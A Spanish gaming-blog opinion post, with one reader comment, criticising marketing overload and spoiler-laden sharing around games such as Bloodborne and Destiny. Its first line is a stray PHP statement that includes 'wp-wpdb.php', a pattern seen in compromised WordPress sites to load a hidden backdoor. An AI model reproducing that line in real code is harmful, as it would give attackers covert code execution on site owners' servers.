if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); La era del exceso de información – La Fortaleza de LeChuck

La era del exceso de información

La era de la información, la del estar siempre conectados, donde cualquier hecho importante llega en segundos a los medios de comunicación, y con el share esparcimos por las redes sociales a golpe de clic. Cada día se abren nuevas webs y canales de videojuegos con datos para hartarse de los títulos denominados triple A. Las compañías, por su lado, lanzan campañas de marketing agresivas para hacer que los jugadores entonen al unísono la palabra «JUEGAZO» con el último tráiler de turno. Bienvenidos a la era del exceso de información y del terrorífico share.

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Son cientos los videos e información que nos llegan antes, durante y después del lanzamiento de un juego, a veces con spoilers que los responsables ni se preocupan por ocultar. Y después llegan los análisis, guias, especiales, reflexiones y pajas mentales.

El prelanzamiento y lanzamiento de Bloodborne ha sido una verdadera pesadilla para mí, incluso peor que la del juego en sí. Páginas webs, canales de youtube, blogs y usuarios compartían como autómatas toda la salvaje cantidad de material promocional que prácticamente representaba la mitad del juego.
Veamos un ejemplo gráfico de un medio, en este caso VG257, y todo lo que ha publicado bajo la etiqueta Bloodborne:

bloodborne-vg247publicidad

Como podéis ver, todo lo que se les ocurre pa’dentro. La compañía encantada, el usuario tragando más publi, y encima les va estupendo para el SEO interno.

Los niveles de popularidad que ha cosechado Bloodborne con estas prácticas saltan a la vista, y lo que parecía ser la compañía conocida en un principio como la de los juegos «súper difíciles», donde los Dark Souls se caían de las estanterías en su día, ahora es la compañía molona. Todo el mundo quiere mostrar que está jugando a Bloodborne, y gracias al botón share de PS4 (que ahora maldigo), ha ocasionado que todo el mundo se lance a compartir sus progresos por las redes sociales, sin importarles aquel termino llamado «spoiler», ya que como no es texto, qué más da lanzar una colección de imágenes de los jefes finales y elementos importantes del juego, ¿no? Ante el goteo constante de imágenes me he visto obligada a silenciar y dejar de seguir a mucho inconsciente. Aún espero que pase un poco más la fiebre para jugar tranquilamente.

bloodborne-meme

No hace falta dedicarse al marketing y ventas para observar que estas campañas no van para nada mal en la obtención de beneficios, y cada vez va más allá. Actualmente, ya poca gente habla de Bloodborne, es el turno de exprimir The Witcher 3, y para ello hay que sacar más videos, no importa si son más o menos relevantes, si hay spoilers, lo importante es que se publique, se mueva, que al usuario le hagan los ojos chiribitas, y, por supuesto, diga «JUEGAZO!!!!». Aunque quizá luego ni se lo compre, pero eso ya es otra historia.

Después de los análisis, las compañías lanzarán imágenes del juego con un texto resaltado del medio que le haya puesto más nota y un comentario aplicable hasta a un mueble. «Nos ha encantado», pero sobre medios y notas ya hablamos aquí. No nos desviemos.

Creo que el primer momento donde tuve constancia del exceso de información fue con Dragon Age Inquisition. EA lanzó videos y todo tipo de información de los escenarios, de todos los personajes, que si del modo de combate, etc. dejando bien poco a la imaginación o margen de sorpresa. Hubiera estado bien descubrir que Morrigan aparecía en el juego, y no anunciarlo a bombo y platillo para luego ver que no es un personaje jugable (espera, ¿eso era la sorpresa?).

Nos gusta estar informados y compartir información pero, ¿no nos estamos pasando? ¿Sabemos diferenciar hoy en día qué es un spoiler y lo que no? ¿La publicidad y el marketing nos dejan ver los juegos mediocres que hay detrás de tanta parafernalia? Vendría bien recordar con esta última pregunta lanzada al aire el asunto Destiny: millones de dólares invertidos en campañas de publicidad, usuarios que sentían devoción con los videos e imágenes promocionales y después del lanzamiento todo fueron lloros. Nos vendieron la moto con sus bonitas palabras y tráilers adulterados, pero claro, Bungie ya se había llenado los bolsillos. El hype mata.

destiny

Siguiendo con el tema de publicidad engañosa, hablemos de tráilers + nextgen, un autentico cóctel mortal. Los videos de los futuros títulos estrella tienen un aspecto visual impresionante, que nos hacen sentirnos que estamos en la nextgen, al menos hasta la fecha de lanzamiento. Estamos en una era donde los gráficos hacen inclinar la balanza de compra y muchas compañías al final del proceso de desarrollo no pueden cumplir con las expectativas, y detrás del humo de la promo descubrimos la triste verdad llamada Downgrade. Algunos responsables agachan la cabeza y reconocen la bajada gráfica, otros, sin embargo, se lo callan, para no levantar mucho la voz y que esto no afecte a las ventas. Los usuarios no son tontos y acaban cazando las mentiras y mostrando comparativas que hacen reflejar aún más la evidencia.

La publicidad y el marketing es un arma de doble filo, y por lo que a mi respecta, cada vez más trato de no ver más allá de un tráiler y teaser, además de la información referente a fechas de lanzamiento. Aunque a veces resulta más difícil esquivar los comentarios con spoilers vertidos en las redes sociales por el jugón de turno que tiene la imperiosa necesidad de expresarse sin pensar en el prójimo. Esto también está relacionado con el flujo constante de lanzamientos y la necesidad de jugarlos de salida para no quedarte «out» y así desembolsar 60€ y no esperar unos meses al precio rebajado.

Valoro aún a día de hoy que los juegos me sorprendan, descubrir sus misterios y curiosidades y no tener una detallada explicación gráfica de lo que me voy a encontrar. En ocasiones recuerdo aquella época donde habían 3 revistas mensuales en las que leíamos la escasa información de los próximos lanzamientos y nuestra mente trabajaba a la velocidad de la luz imaginando las mil y una aventuras que nos esperaban en aquellos juegos.

A veces es imposible escapar viviendo siempre conectados pero de vez en cuando es bueno hacer una desconexión mental y simplemente jugar.

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Categorizado como Opinión

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

1 comentario

  1. El «exceso de información» sobre el superlanzamiento de turno viene por tres razones mayormente:

    Una, el constante aumento de presupuestos que obligan a buscar a su vez la máxima difusión posible y con ello el minimizar el riesgo de turno de pegársela en ventas. Cuando se invierte mucho dinero, se espera que vuelva.

    La otra, la idoniedad de los videojuegos para poder hacer este tipo de campaña. Hollywood mataría por poder soltar tanto detalle sin chafar toda la película (aunque hace años que pecan de no saber cortarse en los trailers), y ya ni digamos tener a hordas de youtubers y streamers publicitando el producto de la mejor forma posible: jugándolo.

    Claro está, luego se puede hacer mejor o peor, o con más o menos gusto. Las campañas de promoción de Paradox, por ejemplo, suelen ser excelsas, y, sin llegar a la sobreexposición, entre buen hacer y boca a oreja han convertido a juegos nicho como Europa Universalis (!) o Crusader Kings (!!!!!) en superventas. Ya ni digamos el fenómeno Skylines.

    La tercera razón es los propios usuarios y webs. Unos por vivir en la era del spoiler y la novedad, estando en una especie de carrera armamentística con su follower de turno en la que no se pueden quedar atrás. Y lo celebran. Los otros, por querer/necesitar rascar clicks de cualquier forma posible, y más con la feroz competencia que hay. Así se llega al extremo de por ejemplo Kotaku, que de ser web maja pasó a trascender el «publicar cualquier parida sobre el juego de moda de turno», llegando al «publicar cualquier parida» a secas.

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